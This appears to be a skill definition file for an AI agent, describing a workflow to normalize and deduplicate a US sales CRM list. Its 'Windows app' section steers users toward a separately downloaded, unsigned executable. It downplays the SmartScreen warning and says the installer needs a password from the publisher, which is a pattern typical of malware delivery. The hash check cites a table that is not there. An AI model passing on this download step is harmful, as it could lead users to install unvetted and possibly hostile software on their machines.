CRM Hygiene Cleanup

Cleans a US sales contact list by normalizing names, phones and emails, deduplicating records, and separating what needs a human check. Written for US sales operations and RevOps staff cleaning CRM data before a campaign or an import.

Use this skill when someone asks for:

• crm cleanup
• sales list deduplication
• crm data hygiene
• lead list cleanup us

The job

Duplicate contacts, role inboxes and wrong phone numbers inflate the pipeline, and every campaign sends to the wrong person twice.

What you get

1. Normalize the fields: trim values, lowercase email domains and put phone numbers in ten-digit form.
2. Deduplicate on the strongest key the file actually has, and keep the most complete record.
3. Send records that fail validation to a human-check list with the reason attached.
4. Report what changed so the ops team sees the size of the cleanup before the next import.

Output contract:

• cleaned_rows - normalized, deduplicated records ready to import
• duplicates - the groups collapsed and the record that was kept
• needs_review - records with a failed phone, a role inbox or a missing state
• change_log - counts of normalized, merged and flagged records

US specifics that matter

• North American numbers use ten digits in the NANP format: area code, exchange and line number, with the country code +1.
• Landline area codes are geographic in the US, so 212 is Manhattan and 312 is Chicago; mobile numbers can move, so a mismatch is a flag and not a fact.
• The National Do Not Call Registry at 16 CFR 310 covers calls, not email, and requires telemarketing calls to stop for listed numbers.
• The FTC's telemarketing rules limit calls to 8 AM to 9 PM in the recipient's local time.
• State privacy laws set retention rules for personal data, so a CRM needs a documented deletion path.

Guardrails (hard rules)

• Never scrape personal emails to fill a gap in a record.
• Never merge two contacts that only share a role address such as info@ without a human check.
• Never delete a record silently; send it to the needs-review list with the reason.
• Never buy or import a list that has no consent record behind it.

Quickstart

1. Fill in the brief

templates/crm-cleanup.csv is the starting point. Copy it, fill in your own numbers, and keep the field names - the script reads them by name.

2. Run the script

python3 scripts/clean_crm_rows.py --input crm-cleanup.csv --out ./out

The script is standalone: Python 3 standard library only, no install step, no network calls, no API keys.

3. Check the result against the reference

references/crm-hygiene-rules.md holds the limits, the US rules and the checklist the output has to satisfy. Read it before you send anything to a customer or a platform.

Normalizing US contact fields

• Email: trim spaces, lowercase the domain and remove display-name brackets.
• Phone: keep the ten digits and move any extension into its own field.
• State: use the two-letter USPS code, for example CA, TX or OH.
• Name: split first and last, and keep a suffix out of the last-name field.

Keys that identify a duplicate

• The email address is the strongest key when it belongs to a person.
• Domain plus name catches one person listed on two records.
• The phone number catches the same record imported from two systems.
• A job title change should not create a second record.

What stays out

• No bought lists, no scraped personal emails and no guessed email patterns.
• Keep a merge log so a wrong merge can be reversed.
• Keep the consent date, because state privacy laws depend on it.
• Flag a role inbox when it is the only address you have, since many buyers never read it.

The Windows app (optional)

The workflow above runs anywhere Python 3 runs. If you also want the publisher's Windows multi-tool app for the workflows in this catalog, it is a separate download. This bundle does not contain it, does not install it, and never runs it - you decide whether to fetch it.

Check the download before you run it. PowerShell:

Get-FileHash .\multitool.zip -Algorithm SHA256

The hash must match the value in the table. Then extract the archive and start multitool/toolkit.exe.

The program is not code-signed, so Windows SmartScreen shows Unknown publisher. Run it only if you accept an unsigned program, keep it in a folder of its own, and do not run it as administrator unless you have a reason to.

The installer asks for a password; ask the publisher for it before you start.

Files in this bundle

• SKILL.md - this file
• references/crm-hygiene-rules.md - US contact data rules for a clean CRM
• templates/crm-cleanup.csv - the brief to fill in
• scripts/clean_crm_rows.py - the working script

Verify the bundle

python3 scripts/clean_crm_rows.py --input crm-cleanup.csv --out ./out

Related

• AI Creative Studio - one brief into ad copy, social posts and video scripts.
• B2B Lead Research Agent - find the US accounts to run this against.
• AI Trading - research the tickers of public competitors before you write comparisons.
• Windows Multi-Tool Suite - one Windows kit that sets up all three workflows in a single folder.